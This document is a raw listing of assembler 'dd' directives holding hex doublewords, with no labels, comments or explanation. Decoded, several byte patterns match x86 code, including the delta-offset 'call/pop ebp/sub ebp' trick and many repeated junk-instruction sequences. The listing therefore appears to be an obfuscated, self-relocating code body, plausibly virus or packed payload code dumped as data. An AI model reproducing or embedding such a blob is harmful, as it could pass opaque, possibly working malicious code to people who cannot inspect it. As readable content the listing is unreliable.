dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 66C35141h, 142B4A4Fh
dd 8589FA0Ch, 7E004B9h, 50FEDF80h, 10E9h, 1414D300h, 5D23C6A7h
dd 15614E17h, 76EDBBA1h, 24348988h, 0ADB5FFF8h, 6A07E3CBh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 417BC355h, 8B5F6684h, 1195FFF8h, 6A07E030h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0F352C352h, 8B2E2F5Eh, 0E3CBA1B5h, 14E907h
dd 0A6EB0000h, 83BF21D3h, 940A6609h, 456B725Fh, 0D8A2EC65h
dd 858B27C9h, 7E022D1h, 8689DA8Bh, 0C4h, 8D0169B3h, 7E0086Dh
dd 1815958Bh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8C0FE8C3h, 3, 83DA8B66h, 6A04C2h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 66C91AC3h, 5089DE8Bh, 85036020h, 7E03475h
dd 22CDB58Bh, 8D6107E0h, 0E3E0D485h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F030DC51h
dd 26819D8Bh, 868907E0h, 0B8h, 3860Fh, 0C7800000h, 6A006A9Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 18EAC350h, 0C76BE4B7h, 0F3816638h, 0B5FFAA1Bh
dd 7E3CBADh, 6F59D8Bh, 95FF07E0h, 7E02A99h, 1A099D89h
dd 0E89607E0h, 13h, 0EE00BC5Eh, 90840B76h, 65EB544Fh, 0C079C972h
dd 0FD828BFh, 383h, 0DF8B6600h, 2B96505Fh, 0E00209BDh
dd 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 8913C352h, 0E02DE585h
dd 73BF6607h, 619D8987h, 0FF07E019h, 0E028E995h, 0DD8D8907h
dd 8307E01Ah, 0E028E1BDh, 840F0007h, 47h, 1395B509h, 505007E0h
dd 0FA6B352h, 0F525031h, 8A0F31h, 5A000000h, 89585A58h
dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 3A8465C3h, 0A9265FA8h, 7D9D8BE1h, 0FF07E025h
dd 0E3CBADB5h, 1D858907h, 0FF07E016h, 0E0303595h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 7EAB8EA8h, 0BF42E643h, 0E8DDF781h, 0B5FF3CB7h, 7E3CBADh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B2C35141h
dd 0CD488595h, 1211BD31h, 95FF07E0h, 7E001B9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BAC35747h, 0BD894356h
dd 7E01A0Dh, 731BD83h, 0F0207E0h, 7384h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 890F7CEDh, 8, 8B0F52h, 5B000000h, 0EA5F5DBFh, 0D0B75615h
dd 39858B5Fh, 6A07E020h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 375CC353h, 0E986EDCBh
dd 0Bh, 79A334DBh, 799DBD0Ah, 89035A3Ch, 0E03401B5h, 0C607h
dd 43D85C7h, 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 13E4DFC3h, 0DFE11631h
dd 46E9FB8Bh, 31FFFFF3h, 0E0138D8Dh, 6AC18B07h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 6E23C356h, 0F6961EA1h, 0BD8BF891h, 7E01821h, 13C9858Dh
dd 0B50907E0h, 7E005B5h, 0BF525050h, 23AA5866h, 585A310Fh
dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 4EA4C352h, 0E43BA990h, 62982D6Fh
dd 6EC78166h, 6A006A62h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 5A88C356h, 0F22B6887h
dd 8B96BF0Eh, 0E030B5BDh, 0E8006A07h, 6, 9F77E13Eh, 9D03D294h
dd 7E019FDh, 37858D5Fh, 6607E4D1h, 29B28ABFh, 0E0149595h
dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0FC35141h, 30005E6Ah, 0C36AD781h, 5090320Eh, 0A6BB6652h
dd 66310FE8h, 5A3BF1BBh, 6A905058h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F657C356h
dd 64C426A0h, 459B75B4h, 0DE9h, 918B5200h, 9E6B7DBBh, 9E302A4Eh
dd 8166B765h, 6AAC71C7h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 7E513FDDh, 5E9A9h, 0E44F0000h
dd 6AF14443h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 0A4665B07h, 86BFFE91h, 344195FFh
dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 800C9AC3h, 0C97D21E1h, 0E80C40D2h, 14h, 80C8B959h
dd 7EC5204Dh, 805396B5h, 0ACF3A82Eh, 0FB799249h, 0DF6892BBh
dd 8D8D5B62h, 7E3A393h, 0B7D1FFF5h, 0B1BD83E7h, 107E016h
dd 59850Fh, 0BF0F0000h, 0F026ADAh, 283h, 5055B700h, 489FA8Bh
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 9995FFB1h, 6A07E02Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC06C357h
dd 93ED9E8h, 0E9A7F8EBh, 0CE7h, 0E8h, 0ED815D00h, 7E4D141h
dd 51006AF8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0B40CEEB6h, 63858D3Dh, 6A07E394h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0BB10C351h, 7ADCB9F9h, 505F5290h, 85F802BBh, 0EF80906Eh
dd 35FF6433h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B9C35545h
dd 0A3ECE4BFh, 25896417h, 0
dd 505BD8Bh, 85FF07E0h, 7E020FDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 36C35040h, 0C683C607h, 0BF666A77h
dd 0FF6A07CFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0A7C35242h, 7B9570F6h, 6890F56h, 0F000000h, 81h
dd 0D98B5F00h, 12ADB5FFh, 895307E0h, 0E01FD59Dh, 95FF5B07h
dd 7E03389h, 121E9h, 95BD8B00h, 0B007E030h, 2800F00h, 8B000000h
dd 8B0FDFh, 0E6000000h, 0D99D2970h, 0BF07E011h, 28BF3D3Fh
dd 7E971E4h, 0CF000000h, 9A1C4D44h, 613C477Bh, 0E8830Fh
dd 0BB660000h, 0B60FBA5Ch, 35BD89C8h, 0BA07E031h, 6, 0BE9h
dd 6492800h, 68F9DE97h, 47F5913Dh, 8529C18Bh, 7E01235h
dd 0E904E8C1h, 0Ch, 0E49A07Fh, 0B6713B04h, 0D442CD23h
dd 0E9E2F766h, 13h, 6DEED9B8h, 1F4673Ah, 0AF402B26h, 18FAF6E1h
dd 2BC1CAA7h, 8BD18BC8h, 0E02429BDh, 80E907h, 858B0000h
dd 8, 44DF8166h, 0BDB50992h, 8307E017h, 816607C0h, 81D888D7h
dd 61CC9EFh, 0C0834Ch, 3396C781h, 0D03B0902h, 15830Fh
dd 81660000h, 0E90F3FF7h, 46h, 6E9h, 2A3E0800h, 8B66C6C0h
dd 0FFFFFF8Dh, 0B19589FFh, 8307E001h, 840F01E1h, 26h, 89BD8B57h
dd 5B07E00Fh, 0FFFFA583h, 31FEFFFFh, 0E0017D9Dh, 8958907h
dd 0B000000h, 0E0069D9Dh, 0E907h, 0B58D0000h, 7E451BFh
dd 1006AF9h, 0E00571BDh, 0A995FF07h, 6607E018h, 7ADDDB81h
dd 1041B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 552A15F0h, 0B6DCAF45h, 1D9D2360h
dd 8307E020h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 7A9A4C3h, 0B589EEC3h, 7E023C9h
dd 3A5BF66h, 0BF6650FCh, 0B85B6E82h, 0
dd 0D22B6DB3h, 23EDBD0Bh, 33AD07E0h, 3E8D1C2h, 4E983D0h
dd 0C6BFF475h, 6A4A49A4h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0F59BC355h, 54BAE289h
dd 8A69A8D4h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 8B795A92h, 0E0181595h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 596A70A5h, 0EE95Eh, 0E17D0000h, 12DCABF4h
dd 4BCE605Fh, 0C8600925h, 20498D8Bh, 9DBF07E0h, 506560F9h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 811C7007h, 0E3E063E3h, 38A0F3Eh, 80000000h, 0BD8306C3h
dd 7E012F5h, 0B8840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5F75C353h
dd 13E9ADh, 0DC0B0000h, 8F6EE9F2h, 2981DFDBh, 0A8AA4129h
dd 0E8CDA16Fh, 0B880h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0D28146C3h, 0FD8A4048h
dd 35D38166h, 119D8B73h, 8D07E00Eh, 0E04EE88Dh, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0B56DAB73h, 11E95160h, 58000000h, 0CD0A29F0h, 76166CC3h
dd 17F5E43h, 7CA423BFh, 87C48059h, 8BE1FF61h, 0E02EF9BDh
dd 41958907h, 8307E02Bh, 0E022C5BDh, 840F0007h, 36Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 30C35141h, 0E9A5E1DCh
dd 0BD8B4FDFh, 7E013FDh, 3275BD8Bh, 0BD8307E0h, 7E022C5h
dd 4C840F01h, 0BF000003h, 675C5A82h, 22C5BD83h, 0F0307E0h
dd 30486h, 9E900h, 0C97B0000h, 353A2B10h, 60B08358h, 1BB19D89h
dd 8C6607E0h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 0FE893h, 624D0000h, 69237207h, 0F5385CA3h
dd 0BA4D2208h, 0CD958935h, 5F07E011h, 148CD381h, 0E180221Fh
dd 8E904h, 390F0000h, 862C5B45h, 0CE98682h, 0DC000000h
dd 0F27F799Eh, 97FFED7Ah, 0A797D11h, 24840FC9h, 6A000001h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0B54BC353h, 517646D1h, 5B616053h, 0FFB70F5Fh
dd 3399858Bh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 885E62C3h, 12084594h, 1C870Fh, 7E80000h
dd 0BB000000h, 70562944h, 0AE9A635h, 0C3000000h, 0C17A5E04h
dd 0DB6259A6h, 8D895FE0h, 7E023B9h, 31898533h, 6A07E0h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 8B90CAC3h, 0B36050D8h, 6A906171h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8970C352h
dd 0E018058Dh, 89006A07h, 0E01681B5h, 5D9D6807h, 79B33C57h
dd 62243481h, 6A3C485Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0FAF1C357h, 148DBD89h
dd 95FF07E0h, 7E021CDh, 11E99D89h, 858907E0h, 7E3CBADh
dd 695BD8Bh, 14E907E0h, 8B000001h, 0E01A299Dh, 8B5F5307h
dd 0E3CBA585h, 0FBB70F07h, 1800C7h, 0AE90000h, 0A4000000h
dd 3DB07DBEh, 17D53569h, 0A9B58B96h, 6607E3CBh, 2ABAD381h
dd 5F9858Bh, 0FB8B07E0h, 0DB810689h, 2D7257E6h, 3399858Bh
dd 958907E0h, 7E00099h, 8B044689h, 0E01669BDh, 7E95007h
dd 30000000h, 9A109216h, 3489C297h, 0EE924h, 0B5E30000h
dd 0B8125759h, 0D52C608Dh, 0B48686B8h, 0CBA5B5FFh, 9D8B07E3h
dd 7E02881h, 4DBC1D68h, 14BF66E1h, 240481F6h, 1ED147E2h
dd 944EE4BBh, 0AD858D6Dh, 6A07E3CBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1F8DC352h
dd 744D0CDDh, 8E890h, 93A50000h, 559FBE36h, 0BB660818h
dd 505F76A2h, 8B525053h, 0B7310FF8h, 5F585AAEh, 0D1858990h
dd 5007E000h, 38E38166h, 95FF5B0Ch, 7E021CDh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h, 61079735h
dd 154DBD8Bh, 85C707E0h, 7E022C5h, 3, 30419D8Bh, 0BD8307E0h
dd 7E3CBADh, 32840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 24FBC353h
dd 0ADC246E5h, 27E9h, 6840F00h, 1000000h, 0E0107D8Dh, 0C305007h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0C18D89h
dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 1B023BC3h, 4819370Ah, 89EF63D1h, 0E0145D8Dh
dd 0C5BD8307h, 307E022h, 464850Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 21BD86C3h
dd 21BD8B01h, 8307E014h, 0E3CBADBDh, 840F0007h, 432h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 0B5FFF003h
dd 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0D2C35141h, 0BF840072h, 3DD0156Dh, 2860Fh, 0D88A0000h
dd 1DA995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 681917C3h, 81669E5Dh, 8B2A8DD3h
dd 0E3CBA1B5h, 106C707h, 6A000100h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7041C355h
dd 21A1FBF6h, 816662BDh, 0F35FFD7h, 1586h, 10E900h, 0EC550000h
dd 670B1B2h, 1CCDADD8h, 662B4C1Ah, 0AE89FB4h, 0A7000000h
dd 48E21701h, 2BE47770h, 2EF815Eh, 5F3CD95Fh, 0EC94BB96h
dd 96504AF9h, 1E059D8Bh, 0B5FF07E0h, 7E3CBADh, 31D5B589h
dd 95FF07E0h, 7E03011h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0CAC35545h, 0D565C01h, 8B0B638Dh, 0E3CBA1B5h
dd 5810F07h, 0BF000000h, 6AB7D228h, 22D1858Bh, 958907E0h
dd 7E000D9h, 0C48689h, 958B0000h, 7E01815h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AEC35545h, 0F7C3DEA1h
dd 0B9702A0Eh, 8725CBBh, 4C28360h, 50895B50h, 51006A20h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0CDBD3363h, 0F07E014h, 0C84h, 6860F00h, 89000000h, 0E01BD18Dh
dd 0D4858D07h, 6A07E3E0h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 6BAAC355h, 0A96FE0DDh
dd 5DBD8BA8h, 8907E026h, 0B886h, 0E9FE8A00h, 0Eh, 0D0046D68h
dd 0E325956h, 0F2A20EFFh, 6A757Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 44C35343h, 5E7EBF66h, 0CBADB5FFh
dd 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 787F3FC3h, 8FBB1B19h, 95B5896Eh
dd 8907E023h, 0E007E585h, 9995FF07h, 3107E02Ah, 0E0268DBDh
dd 3EBF5007h, 890BC562h, 0E3BF2434h, 0FF67A7F9h, 0E3CBADB5h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0B59D8BB6h, 0FF07E000h, 0E028E995h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 88130D54h, 8EDDC133h, 0BD290C86h, 7E01429h, 1870Fh
dd 83F80000h, 0E028E1BDh, 840F0007h, 21h, 0E95025B3h, 0Fh
dd 60A666FDh, 0B3FE3D8Fh, 6EF1214Dh, 89902867h, 66562434h
dd 0A0D8D381h, 0ADB5FF5Bh, 6A07E3CBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9259C356h
dd 0D5B7BF69h, 95FF4ACFh, 7E03035h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 89C35141h, 8D0948E1h, 86C9E9A7h
dd 66F88B66h, 0B585F781h, 0CBADB5FFh, 6A07E3h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 21B312C3h, 0FA8B9E9Fh, 21298589h, 95FF07E0h, 7E001B9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 15C35646h
dd 2F21E3F5h, 37E2B44Bh, 8C0F6081h, 4, 7889BE66h, 26D1B523h
dd 836107E0h, 0E00731BDh, 840F0207h, 56h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 15h, 37C35343h, 558D0192h
dd 8B07E016h, 0E0203985h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8915E12Ch
dd 0E026BDB5h, 0C607h, 12A99D89h, 85C707E0h, 7E0043Dh
dd 0
dd 9D7FDB81h, 0FE91CE5h, 0FFFFFF4h, 688h, 0A19D8B00h, 8B07E011h
dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 949B5E07h, 9DBD898Eh, 8D07E01Bh, 0E013C985h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 80415F39h, 0BF6690F8h, 0F50D2C2h, 28Fh
dd 90D88B00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0F9C35545h, 263002CEh, 28F5BD8Bh, 6A07E0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 63C35646h, 8B6669D4h
dd 0AD9589FBh, 6A07E01Ch, 12EB8100h, 8D278BF0h, 0E4E0A785h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0ABF85F9Ah, 0B1B589B0h, 8307E018h, 6A05C0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 8D8960C3h, 7E02AC5h, 10E990h, 0D39B0000h, 1613B3C4h
dd 0C002BE43h, 29EBE82Eh, 66500763h, 9001DDBBh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7DC35242h, 1325BD8Bh
dd 6A07E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0C4C35040h, 0BD89929Ch, 7E018D1h, 6A006Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 9D89BBC3h, 7E02DA5h, 344195FFh, 9D8907E0h, 7E0349Dh
dd 0A3938D8Dh, 0C78007E3h, 6AD1FF9Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 726DC357h
dd 0F0EDD41h, 689h, 95858900h, 8B07E004h, 0E00FF9BDh, 0B1BD8307h
dd 107E016h, 0C9850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 934C9C3h, 7BB38C31h
dd 0B70F579Eh, 0B5295BD9h, 7E0160Dh, 6A026Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 28E7C7C3h
dd 0BD8B3010h, 7E01119h, 11E86050h, 0E4000000h, 53C7DC6Eh
dd 0C87E0EA3h, 1BE959AFh, 8031B5ABh, 66596160h, 8961F78Bh
dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 9CAF85C3h, 7E8h, 2EE7ED00h, 368CBE25h, 17870Fh
dd 12E90000h, 0F1000000h, 8F1984B2h, 50A616DCh, 96B2FBA9h
dd 4FD11C72h, 95FF5F8Fh, 7E02A99h, 0E9DABF0Fh, 0CCDh, 0E8h
dd 0ED815D00h, 7E4E0B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 61C35242h, 5CF89A03h, 6ABF7Fh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0A841B7C3h, 0E9B863CCh, 12h, 816F695h, 32DB08Dh, 0D7C2C046h
dd 0DCA9CBE3h, 2FB7CF28h, 9463858Dh, 6A07E3h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 20FED8C3h
dd 0C36B708Ch, 90D5F6F2h, 0CE9h, 3321FF00h, 3C2E0C28h
dd 8864E881h, 8A60502Ah, 649061CFh, 35FFh, 0BD8B0000h
dd 7E025ADh, 1E0D9D8Bh, 896407E0h, 25h, 0D19D8B00h, 0FF07E019h
dd 0E020FD85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 3EB516EDh, 0D68D7E4Dh
dd 0BB66FF6Ah, 0B5FF5A24h, 7E02A5Dh, 253D9D31h, 95FF07E0h
dd 7E03389h, 135E9h, 69D38000h, 0DE900B0h, 92000000h, 34D1B342h
dd 0FE2F2E91h, 22EDEFCDh, 616070E6h, 8E0F71E4h, 6, 1CA59589h
dd 0FE907E0h, 31000000h, 4413495Fh, 3D63BF41h, 0C6E5A46Ah
dd 613C05F1h, 0F0830Fh, 9560000h, 0E006A595h, 0BD895B07h
dd 7E01555h, 57C8B60Fh, 12E9h, 90FF1000h, 37CD36B0h, 7F319AB2h
dd 4C77E87Ah, 5F681616h, 6BAh, 68D0F00h, 89000000h, 0E02A399Dh
dd 66C18B07h, 0C17D1BBFh, 8B6604E8h, 0E2F766FAh, 0C82B5B57h
dd 0B589D18Bh, 7E0140Dh, 93E9D98Bh, 66000000h, 0DA74D381h
dd 1858Bh, 0E7800000h, 65B58988h, 8307E005h, 950107C0h
dd 7E0088Dh, 5300C083h, 24F5BD33h, 0E95F07E0h, 6, 28B5B065h
dd 0D03BC02Eh, 0A830Fh, 8CBF0000h, 0E9074702h, 4Eh, 0FFFF8D8Bh
dd 9D8BFFFFh, 7E033F9h, 0F01E183h, 3984h, 0BF0FF900h, 0FFA583FBh
dd 0FEFFFFFFh, 0E860D8B7h, 5, 9E2BA430h, 7B9668Eh, 0BD895AFEh
dd 7E013FDh, 1958961h, 0F000000h, 48Ah, 0C6BF6600h, 0E924h
dd 0B58D0000h, 7E46200h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0CCC35343h, 8166ACB5h, 6A7EB0D7h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 8B2B2C6Eh, 0E01DD9BDh, 0A995FF07h, 6A07E018h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 7057C353h, 0AD54394Ch, 9F23C51h, 2FDD8D29h, 0B8B907E0h
dd 8B00000Fh, 0E0074DBDh, 0FCE18307h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0AAC35141h, 37B960FCh, 8918BEE4h
dd 0E008319Dh, 0B86107h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B512C351h
dd 8EEF8012h, 0B589D22Bh, 7E02FDDh, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 6ADE8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 1E7D94C3h, 0BBB5559Ah, 0DF816660h
dd 8166ABC8h, 61536AEAh, 880Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0FFB8C4FAh
dd 7CD8FF88h, 0B59D0112h, 0E907E01Fh, 12h, 0F0A14809h
dd 2A13E7D8h, 776F243h, 8FE37B86h, 8B600D06h, 0E0207195h
dd 0D0816607h, 8B613523h, 0E0181595h, 0EB816607h, 0BD8B6A96h
dd 7E02169h, 20498D8Bh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 8B0511C3h, 0E018299Dh
dd 0C28B5007h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 62CAC357h, 11E9AEh, 9FCE0000h, 0B82BFE65h
dd 1840DE0Ch, 2B530F0Dh, 6AC145FFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0C000C350h
dd 0C7C6533Ch, 8B1FCAEDh, 0E01CE99Dh, 0F5BD8307h, 7E012h
dd 71840Fh, 0D1BF0000h, 663D9C05h, 0B8F88Bh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 2704C351h, 0C9FC04C9h, 1791A93h, 0E00571B5h
dd 0E88D8D07h, 6A07E04Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0E07C356h, 89B7E8BAh
dd 0E023318Dh, 0E99D8B07h, 0FF07E02Ch, 81BD89E1h, 8307E026h
dd 0E022C5BDh, 840F0007h, 406h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0CBC35040h, 20220DFDh, 0E978B580h
dd 0Bh, 323DFB22h, 6455036Ah, 83BF6927h, 0E022C5BDh, 840F0107h
dd 3E1h, 13199D8Bh, 0BD8307E0h
dd 7E022C5h, 98860F03h, 57000003h, 1F5D9589h, 295F07E0h
dd 0E020F195h, 0B70F6007h, 0D98C66F9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0D2C35242h, 10E961B3h, 99000000h
dd 0C075B326h, 0F78D595Bh, 0A71312A8h, 80E5B71Fh, 0AF904E1h
dd 0C4840FC9h, 8B000000h, 0E0339985h, 3389B307h, 0E0318985h
dd 499D8B07h, 9007E02Fh, 8B50DE8Bh, 8D8990FBh, 7E01385h
dd 840F006Ah, 5, 30F38166h, 4E866h, 3FF0000h, 4EBB001Fh
dd 502C2BE8h, 8BD98B66h, 0F042444h, 489h, 0C5BF6600h, 0E9008BB9h
dd 6, 5902C13Eh, 44892706h, 8B660424h, 0BD8B58DEh, 7E020EDh
dd 21CD95FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 1CEF6C3h, 810ABB78h, 0CE45BCD7h
dd 0E18D8925h, 8907E01Fh, 0E3CBAD85h, 0BE96007h, 3E000000h
dd 8C90AB18h, 0C9280640h, 61FCD0D7h, 68D38166h, 1C8E91Eh
dd 0BBBB0000h, 8B060483h, 0E3CBA585h, 0C7F807h, 18h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5BC35242h, 891DC256h
dd 0E02565BDh, 0A9B58B07h, 6A07E3CBh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2B7CC353h
dd 0AB7B0E76h, 0EABF1C55h, 0E842C776h, 8, 2AF2CF00h, 6D6719ECh
dd 70FBC781h, 95F53A0h, 0E01981BDh, 0F9858B07h, 6A07E005h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0B6EC350h, 0E016F1BDh, 0D7EB8107h, 89010FD4h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 2BBFD188h, 5019941Bh, 68B0Fh, 9D8B0000h
dd 7E007FDh, 99858B5Bh, 8907E033h, 6A0446h, 3E850h, 58200000h
